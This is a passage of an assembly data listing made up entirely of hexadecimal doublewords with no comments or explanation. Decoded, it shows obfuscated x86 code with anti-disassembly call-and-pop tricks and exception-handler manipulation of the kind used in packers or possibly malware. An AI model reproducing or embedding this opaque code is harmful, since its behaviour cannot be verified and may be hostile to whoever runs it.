5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h dd 0D8DA220Fh, 0F80553D1h, 4B4A8D8Dh, 6A0607h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 22AA43C3h, 0FFF5F4A7h, 0DF8166E1h, 0BD83C6EEh, 6072FD5h dd 0A840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 443FC351h, 0F3EE7BDh dd 0D5BD83FAh, 106072Fh, 3F6840Fh, 0B2600000h, 0D5858B1Eh dd 61060723h, 2FD5BD83h, 0F030607h, 3A986h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0CC2C8927h, 61B589C7h, 60060704h, 0CB816650h, 665F6847h dd 6AD98Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 63C02DC3h, 0B3AC1B0Ch, 4D8D298Eh, 8006072Fh dd 8B6604E1h, 0FC90AFEh, 0E684h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 6BBB776Dh dd 45899E6Ch, 66FC54EBh, 9AEFDB81h, 0EF1858Bh, 0B6BF0607h dd 330B0BEEh, 7156985h, 0CEBB6606h, 8B6650D8h, 240489D9h dd 8B006AF9h, 71DD9BDh, 240D6806h, 0CE9B409h, 54000000h dd 187898F3h, 96095395h, 811A097Fh, 0DFF22404h, 8D314C15h dd 6070CA5h, 56195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 52CEC9C3h, 815AFB51h dd 0A8719BC7h, 0C7816614h, 9D894147h, 6070C05h, 0A2918589h dd 8B66060Ah, 211E9D8h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 91D126C3h, 0F75D901h dd 68Ch, 0E99D8B00h, 8B060726h, 0AA28985h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0B2705D92h, 89C7628Dh, 6830Fh, 0B5890000h, 6072CFDh dd 1800C7h, 0BF660000h, 0B58BD389h, 60AA28Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FEC35242h, 0B217D114h dd 0D092D63Ah, 8BDEB70Fh, 71C7D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 834A1739h dd 0F73F132Ah, 7E8E5EAh, 9C000000h, 0B8538E00h, 95095864h dd 6072149h, 0E281605Bh, 372623F0h, 1031B58Bh, 89610607h dd 0C19D3306h, 8B060705h, 70EF185h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 430456C5h dd 8A729CA4h, 44689FAh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 39C35141h, 50FABF0Fh, 3489DA8Ah, 0ED958924h dd 0FF060704h, 0AA289B5h, 0FE8B6606h, 0B518D89h, 0A9680607h dd 5084A2E2h, 0CE952h, 5DCB0000h, 0A25769CFh, 4F30E161h dd 310FA9F4h, 13E9h, 0DB19B800h, 4D085671h, 29D88298h dd 0CFEECB62h, 0FA5806F0h, 481585Ah, 7C215624h, 2D95897Bh dd 8D060728h, 0AA29185h, 7E906h, 15950000h, 0E7BECEBDh dd 11E990E9h, 0BD000000h, 0D8BFB08Fh, 0EC7A0B3Ch, 0DEC0D249h dd 8D120AACh, 28A0F50h, 8B000000h, 6A90FBh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0CAEEFC3h dd 56195FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0F11C92C3h, 1F8A6A03h, 61D8BF0Fh dd 3298BB66h, 71CF8166h, 0D585C7FFh, 306072Fh, 0FC000000h dd 0A6DBD0Bh, 0BD830607h, 60AA291h, 4F840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h dd 41000000h, 1841C351h, 9589F254h, 6071235h, 40E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 4124D77Dh, 1E819D8Bh, 30500607h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 0EA88BFC0h, 6A1E2Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 6E797FC3h, 8579F41Fh, 1779BD8Bh, 0BD830607h, 6072FD5h dd 0E8850F03h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 269DC352h, 0B480197Fh dd 832F3081h, 0AA291BDh, 840F0006h, 3B7h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 15h, 0FC35747h, 91B5FFA9h dd 89060AA2h, 721D595h, 4195FF06h, 66060716h, 8BBCB4BFh dd 0AA285B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 8C478D29h, 3B71A669h, 17F9BD89h dd 6C70607h, 10001h, 17499D8Bh, 50960607h, 0DE852h, 18960000h dd 7B163B93h, 0E8ACA4D3h, 5B4E84E9h, 0F505B5Bh, 1382h dd 0EE900h, 0FD0A0000h, 53557036h, 93E758C9h, 0EA084D78h dd 57006A96h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 36A33BEEh, 0A291B5FFh, 9D8B060Ah, 6070435h dd 1DE195FFh, 9D310607h, 60728ADh, 0F4DF8060h, 61F08B66h dd 0A285B58Bh, 6A060Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 805ECC3h, 0D6A89B52h, 20A5858Bh dd 3600607h, 70BA1B5h, 68C0F06h, 81000000h, 66E218F2h dd 8689614Ch, 0C4h, 19F78166h, 0F781660Fh, 958B341Ch, 6070A01h dd 836FDB80h, 0BD8B04C2h, 607285Dh, 0B205089h, 71DFDBDh dd 0BC858D06h, 6A060AB5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0E81DC357h, 868919F0h dd 0B8h, 29C1BB66h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E45293C3h, 85BE7C24h dd 8B4D8363h, 71C419Dh, 56F8BF06h, 0B5FF2425h, 60AA291h dd 6870F52h, 89000000h, 715F18Dh, 81665B06h, 0FF189ADBh dd 7028595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 364F177h, 13A99D8Bh, 0E8500607h dd 7, 0CF57EC68h, 56D14D63h, 2F7BBF66h, 34895B5Fh, 15BD8B24h dd 0FF060706h, 0AA291B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0E8CFD6E1h dd 0DA6D8E72h, 1E79B589h, 95FF0607h, 6071155h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 89C35040h, 613E81FAh dd 7C38BF25h, 9D890AA4h, 6070201h, 6DDBD83h, 0F000607h dd 3384h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 41850127h, 96060731h, 0D4016FBFh dd 74BB504Ah, 96546242h, 0A5E3BF66h, 0A291B5FFh, 6A060Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 39D7B8C3h, 95FFFB8Bh, 6071BF1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h dd 0EAC35141h, 0F8C085Fh, 9D31DEB7h, 60716A1h, 0A291B5FFh dd 0BD8B060Ah, 6073221h, 1AF595FFh, 66560607h, 5F5EDCBFh dd 19F5BD83h, 0F020607h, 7884h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 966C438Ch dd 0EE89A44h, 62000000h, 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh dd 0F9B70FFAh, 29858B5Bh, 6A06071Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 613C357h dd 0D87B5C9h, 8166AD34h, 0C6BA90C3h, 8D0F0000h, 9, 0CF23BB60h dd 61603FC5h, 985C761h, 6070Dh, 0F000000h, 680h, 659D8900h dd 0E9060730h, 0FFFFF46Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 2EC35545h, 13C97CC5h, 1BBA73C4h, 0C9BD3302h dd 8B060726h, 7E8C1h, 663A0000h, 227E28A5h, 8D895133h dd 60715EDh, 858D5F5Fh, 6072C61h, 758D8B60h, 8906070Dh dd 71CD595h, 89506106h, 6A2404h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0DC5713C3h, 9529AB1Eh dd 6071345h, 8D0F006Ah, 0 dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 834E29C3h, 858D1E0Eh, 60BC9FAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 23C35141h, 961EA16Eh dd 9F891F6h, 7034D85h, 83DF8B06h, 8B6605C0h, 0BF6650D9h dd 4894686h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 791F8988h, 0AAFE82CEh, 6ADFB70Fh dd 5FF95000h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 9BE9D9C3h, 0DAB70F99h, 2E55BD8Bh dd 95FF0607h, 6071335h, 18798589h, 8D8D0607h, 60A939Dh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 12C35747h dd 3902B56h, 7022DBDh, 6AD1FF06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 459DC350h dd 958911A7h, 6070289h, 32B1BD83h, 0F010607h, 0BA85h, 0EE900h dd 0CE840000h, 0F4F7F9E7h, 0C8FDBC11h, 30FE6864h, 6A026Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 6904A4C3h, 0D026640Eh, 0E8609018h, 14h, 53EB7AA8h, 0A2B48B87h dd 0F6B64A10h, 766BD5F1h, 199FD24Eh, 0C89EBB66h, 61E28A5Ah dd 0F525050h, 840F31h, 5A000000h, 6A9058h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0B4A0F4C3h dd 1EF38166h, 8595FF58h, 6A060702h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0CC0CC355h dd 5D49C127h, 0B99529B5h, 0E906070Ch, 0C7Dh, 0E8h, 0ED815D00h dd 60BCA04h, 2850Fh, 36B30000h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 61C35141h, 6FA28D72h, 83C1A11Bh dd 0EE9EBh, 710B0000h, 0C26950E6h, 324E9626h, 2A29D05Dh dd 8DD8B70Fh, 0A860385h, 558D2906h, 90060700h, 0C38B6050h dd 77579AB9h, 6A906138h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 1118C352h, 35FF64D8h dd 0 dd 11E9h, 0A57B7000h, 0AD77CFABh, 0F4D40022h, 230BB31Ch dd 89641490h, 25h, 0CF816600h, 85FF5C59h, 6072C89h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 32C35242h, 0E5FC0D9h dd 2ABB25C2h, 601A6CE6h, 0DDDB529h, 56560607h, 6A61595Ah dd 0B70F60FFh, 12E9C1h, 0D7070000h, 242C214Eh, 0C94B32C4h dd 0BA1E9D40h, 57B59998h, 0D5B5FF61h, 6A060719h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 74FC353h, 9509B819h, 6070B75h, 213D95FFh, 7E90607h dd 66000001h, 0B0D88Bh, 0E657EF80h, 159D8B70h, 0E4060715h dd 98A0F71h, 0F000000h, 382h, 0FAB70F00h, 305BD8Bh, 613C0607h dd 0D8830Fh, 0FF80000h, 0B589C8B6h, 6072D7Dh, 0D4F38166h dd 6BAFEh, 0BE90000h, 0DF000000h, 21DA2582h, 2C2FEC80h dd 0C18B677Ah, 0F0B70F60h, 2E319589h, 0C1610607h, 0BD8B04E8h dd 6071581h, 0FE2F766h, 387h, 0F8B70F00h, 0B70FC82Bh, 0FD18BDBh dd 86h, 80E900h, 9D8B0000h, 6071B71h, 4858Bh, 0BB660000h dd 3569925h, 711A19Dh, 0C0835B06h, 8CCF8107h, 835FBC6Bh dd 8C0F00C0h, 6, 119BD8Bh, 0D03B0607h, 0E830Fh, 0BD290000h dd 60718B9h, 3DE9h, 0DFBF0F00h, 0FFFF8D8Bh, 0AE9FFFFh dd 8000000h, 580D03E2h, 8B79822Bh, 1E183F6h, 1C840Fh, 9D8B0000h dd 607020Dh, 0FFFFA583h, 8AFEFFFFh, 49589F9h, 8B000000h dd 0E9DFh, 0B58D0000h, 60B4B07h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 61C35343h, 0AB2903DEh, 6AF833h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h dd 8933E8C6h, 72E69B5h, 6995FF06h, 0F06071Bh, 0E86h, 9D896000h dd 60705C1h, 1DA98D8Bh, 0B9610607h, 1118h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h, 1ABABF71h dd 9D8B1C78h, 607287Dh, 66FCE183h, 6AFCF88Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 6F8AC355h, 0D701E33h, 2BDF8B77h, 50006AC0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 1FF75A98h dd 40F37CC7h, 0D22BA4B7h, 0C919D0Bh, 33AD0607h, 3E8D1C2h dd 4E983D0h, 8E8F475h, 0DA000000h, 69D6C36Fh, 8BE7EC18h dd 72F09BDh, 0B5895B06h, 6070CA5h, 880Dh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 27D1C4D9h, 0BF0F608Ch, 0E88166C8h, 81614379h, 0BAE728CBh dd 0AE909h, 45010000h, 2054ED3h, 777BEAF5h, 0A01958Bh dd 0D7810607h, 7F6E2867h, 14A58D8Bh, 6A0607h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 3EF4EEC3h dd 0B529787Eh, 60702ADh, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 10E95818h, 0FD000000h, 9CA592DDh, 2349CFBDh dd 0B501554Eh, 6A6AA34Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 0B5AFC357h, 0DDFD9B8Dh dd 0F9BD8392h, 6072Fh, 35840Fh, 9D8B0000h, 60715A9h, 0B8h dd 0BE900h, 0F1D10000h, 494C20BEh, 0ADBED4F2h, 4A8D8DE3h dd 106074Bh, 7271185h, 8BE1FF06h, 71379BDh, 0FD9D0906h dd 83060714h, 72FD5BDh, 840F0006h, 3E9h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0A7C35545h, 2F796EEBh dd 8BE84B53h, 0D5BD83FBh, 106072Fh, 3D2840Fh, 8D890000h dd 60715F9h, 2FD5BD83h, 0F030607h, 38986h, 619D8B00h, 6006071Ch dd 11D5BD8Bh, 8C660607h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9D09AAB4h, 6072825h, 6A04E180h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0D8FC355h, 0FF1A3ACh, 0C90ADBBFh, 13E840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 867CCCC3h, 5C765952h, 0F1858B5Dh, 6A06070Eh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 38D3C352h, 0BF0F9732h, 698533FAh, 8B060715h dd 71995BDh, 8B665006h, 240489FBh, 17B9BD89h, 0BD0B0607h dd 6070CA5h, 8166006Ah, 0E99642E7h, 0Ch, 63BB2F91h, 9F3C2C19h dd 0E62F86C3h, 0B81DAB68h, 81FC8A2Ah, 1E542434h, 6A2AA7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 1753FBC3h, 57CBF1F4h, 6195FFF5h, 6A060705h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 33A0C352h, 20DD2BF9h, 5E95635h, 75000000h, 0B6AE793Fh dd 0A2918589h, 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0F7F42DC3h, 0F5D10209h, 0E97ECD87h dd 1BBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 39C35343h, 6A52B1C4h, 9D8B6123h, 6071E61h, 0A289858Bh dd 0C7060Ah, 18h, 0FD53BF66h, 0A28DB58Bh, 8B66060Ah, 7D858BDEh dd 0F06071Ch, 689F8BFh, 0F1858BF9h, 6A06070Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 98C1C353h, 60C78106h, 893057E0h, 9D890446h, 6071C75h dd 0FE996h, 4CF80000h, 0E82B4E01h, 0AC69E27Eh, 0BEC1CFFh dd 0E850504Ah, 7, 310E8C16h, 8B70AE8Bh, 965B5BD9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 88C35242h, 8E9A006h dd 26000000h, 0EEE97245h, 0FF619BDh, 1C81h, 12E800h, 0A9D90000h dd 0DE819AE2h, 2899B523h, 0EBAED462h, 85D34A47h, 0EC6BF66h dd 89B5FF5Fh, 8B060AA2h, 723C59Dh, 0F2886806h, 0A7B3B396h dd 77240481h, 6A4C8811h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0E386C355h, 4FD9589h dd 0E9560607h, 10h, 0B67BCBA5h, 82EAC245h, 0E55BDC02h dd 9847D953h, 91858D5Bh, 0E8060AA2h, 0Ah, 7BE5B396h, 0E4DE88D8h dd 8D89ECE0h, 6070DE9h, 489505Fh, 55006A24h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 66905406h dd 0B7BDD781h, 56195FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1D0424h, 51410000h, 0A525EFC3h, 0E07B8D15h dd 6684D7DDh, 61D8D2BFh, 33159D8Bh, 0BD330607h, 6072EF5h dd 2FD585C7h, 30607h, 0BD8B0000h, 607239Dh, 0A291BD83h dd 0F00060Ah, 2D84h, 0D5958900h, 0E906071Fh, 3Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B1C35545h, 0F79B8F2Eh dd 305000F6h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h dd 6AF8C0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 0BF685BC3h, 2144F340h, 83D98B4Ah, 72FD5BDh dd 850F0306h, 388h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 4CC35242h, 2E989985h, 0A291BD83h, 0F00060Ah dd 35B84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 90D43CB3h, 9CC110FFh, 2721BD8Bh dd 0B5FF0607h, 60AA291h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0CBC35646h, 6479B583h, 2830F0Bh, 8A000000h dd 4195FFDAh, 0F060716h, 58Bh, 0C7816600h, 0B58BB38Dh dd 60AA285h, 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 962596C3h, 0F5C19683h dd 0CDBB6696h, 0FE95013h, 61000000h, 1A9A95D9h, 0E70820DAh dd 5C5E0EC3h, 6A96E6A5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 8B54C353h, 72141BDh dd 91B5FF06h, 89060AA2h, 73021B5h, 0E195FF06h, 5206071Dh dd 176DBD8Bh, 8B5B0607h, 0AA285B5h, 14E906h, 66C80000h dd 2651B75Bh, 0C98D437Bh, 0B42146C2h, 8E50F5F0h, 858BC263h dd 60720A5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 5C35242h, 89621781h, 0C486h, 0EE900h, 0B3CA0000h dd 7617B559h, 0EA95A952h, 6AA6809Bh, 958BD98Bh, 6070A01h dd 405B589h, 0C2830607h, 0D1958904h, 8906072Eh, 6A2050h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 60D489C3h, 0E558C681h, 0BD890479h, 6070205h, 0BC858D61h dd 1060AB5h, 70B7595h, 0B8868906h, 0E9000000h, 0Fh, 6179D872h dd 71EACB4Eh, 0DA9997B7h, 6AD55FEDh, 0FDBD0900h, 0FF06071Ch dd 0AA291B5h, 0EF816606h, 95FF3E09h, 6070285h, 2218BB66h dd 0ABBB6650h, 2434895Fh, 0FFD9B70Fh, 0AA291B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 810F70F7h, 6, 13058D89h, 9D8B0607h, 6071465h, 115595FFh dd 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F5C46C3h, 0BD83DAB7h, 60706DDh, 5D840F00h dd 0E8000000h, 0Ch, 0F091BEF0h, 699AFA68h, 11B98074h, 0C591E781h dd 505F405Ah, 0CE8h, 0B3B0D300h, 986F29DFh, 7FD7CE34h dd 0F525080h, 5A5F5731h, 34895F58h, 53006A24h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 820F4BF8h dd 4, 3F31BB66h, 0A291B5FFh, 0BD89060Ah, 60700F9h, 1BF195FFh dd 9D890607h, 6071811h, 0F88B6651h, 91B5FF5Fh, 0F060AA2h dd 6E9DEBFh, 87000000h, 0C4E57209h, 0F595FFDDh, 6606071Ah dd 839D4BBFh, 719F5BDh, 840F0206h, 60h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 0AEC35040h, 311246B5h dd 0FDB8E2E7h, 9E9h, 0D51C9600h, 0B5E3A968h, 858B5759h dd 6071A29h, 17CD9589h, 0C60607h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0E20F9619h dd 0D0985C7h, 607h, 0B5290000h, 6071889h, 0FFF49AE9h, 50006AFFh dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 75FA6523h, 8B3BD501h, 6870FC1h, 29000000h, 723EDBDh dd 61858D06h, 6606072Ch, 98B9C381h, 3CBB6650h, 24048904h dd 6880Fh, 9D8B0000h, 6070269h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 254EB3C3h dd 573BB21Eh, 0F9BD0314h, 6A060726h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0D8EF32E0h dd 763BB3CCh, 82858D9Eh, 8B060BD8h, 5C083D9h, 5050F8FCh dd 6E8h, 0DF4FA100h, 0BB52D855h, 26942676h, 4895F5Fh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 4F72BB40h, 428A4FA6h, 1CE5BD31h, 850F0607h, 6, 1BD98589h dd 6A0607h, 4C9ABF66h, 0BD33FC60h, 6071AB1h, 6A006A61h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0F752C353h, 665633A7h, 961AE781h, 133595FFh dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0EE777AC3h, 0C300C7C3h, 939D8D8Dh, 0BF0F060Ah dd 6AD1FFDFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 276DC355h, 0E61594D8h, 8166193Ch dd 8388E4C3h, 732B1BDh, 850F0106h, 9Fh, 0FE9h, 483A2400h dd 0AC5083B8h, 0DAC5B4F4h, 0D377F541h, 6A026Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0B3F565C3h, 0F905772h, 168Eh, 0BF666000h, 0BE9758Bh dd 26000000h, 0BD973BF2h, 8443A4C8h, 5061CA88h, 14E890h dd 1E510000h, 955CEE06h, 61D6EB0Fh, 70D628CDh, 3C58E8B5h dd 0C3814B8Bh, 6781FC4Ah, 8595FF5Fh, 6A060702h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 5123C351h, 758D315Ah, 0E9060720h, 0C63h, 0E8h, 0ED815D00h dd 60BD88Ch, 31359589h, 870F0607h, 3, 6AD9BF0Fh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 7A68C350h, 342B2AABh, 3858D73h, 29060A86h, 709B18Dh dd 13E89006h, 22000000h, 329A3DD3h, 4E48F0B1h, 2F135AACh dd 0AC9B96CDh, 8B602411h, 61C68BD7h, 5F52505Bh, 12E890h dd 44E60000h, 0B8F2256Ah, 846F05EDh, 0BDDA4904h, 0AF79EE2Dh dd 0FF64F55Fh, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 81103F16h, 0B9E6F874h dd 0FF8FEB81h, 0BD8B34CCh, 6073035h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 32E3C355h, 0B2A89780h, 0FF701D55h, 72C8985h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0EB816614h, 0FF6ADDB7h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 2FC35141h, 0DC62A012h, 3C481EBBh dd 10DB5FFh, 95FF0607h, 607213Dh, 0F4E9h, 0FAB70F00h, 0BF0F00B0h dd 0DD9D23F9h, 0E6060723h, 13DB8070h, 613C71E4h, 0D7830Fh dd 0BF660000h, 0B60F3975h, 75BF66C8h, 0F99D8983h, 0BA060702h dd 6, 26659D8Bh, 0C18B0607h, 2E319D8Bh, 0E8C10607h, 299D8904h dd 66060726h, 0B70FE2F7h, 0F8C82BDAh, 8D89D18Bh, 60717C9h dd 94E9h, 0D7816600h, 858B7690h, 5F4C4C44h, 14E9h, 379CA00h dd 0AC0A2EB2h, 953D8496h, 967AD5A6h, 0D03CCF6Ah, 7C0835Eh dd 659BD8Bh, 0C0830607h, 9E900h, 0AC100000h, 96191DB4h dd 2910E20Fh, 70B89B5h, 0FD03B06h, 0D83h, 0E9FE8B00h, 41h dd 11BDB509h, 8D8B0607h, 0FFFFFFFFh dd 1245BD8Bh, 0E1830607h, 26840F01h, 29000000h, 7047585h dd 0FFA58306h, 0FEFFFFFFh, 0E219589h, 95890607h, 5F4C4C44h dd 650ACB81h, 85B75AB9h, 0E9h, 1FB58D00h, 6A060B5Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 9E6EC352h, 8F3C3CDBh, 0E8FE8BD9h, 11h, 58AE83AEh, 0E4BBD292h dd 609D1AEFh, 0B87F7F1Ch, 0D59589F0h, 5F060703h, 1EBF006Ah dd 0FF2120CEh, 71B6995h, 65BD3306h, 0B906071Ch, 0F9Dh dd 30298529h, 0E1830607h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 9DBA65E3h dd 53C4F3C0h, 178B0Fh, 0EE80000h, 0E6000000h, 67D2A678h dd 0BD378EDCh, 0FB3B6628h, 38CB8074h, 6AFC5Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0E1995CC3h, 7EDF2B8h, 0FD8AE647h, 0BDDBD23h, 0B80607h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9534C357h, 0C7198CD7h, 0FBDB3B86h dd 6840Fh, 0BD8B0000h, 60712BDh, 0BAh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0CE29CCAEh, 0C98A6472h, 8D8908E1h, 6070BFDh, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0DDAB70Fh, 88h, 6619D8Bh, 958B0607h dd 6070A01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0EDC35242h, 660EC022h, 8D39F781h, 14A58D8Bh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 535C6CC3h, 509112E6h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 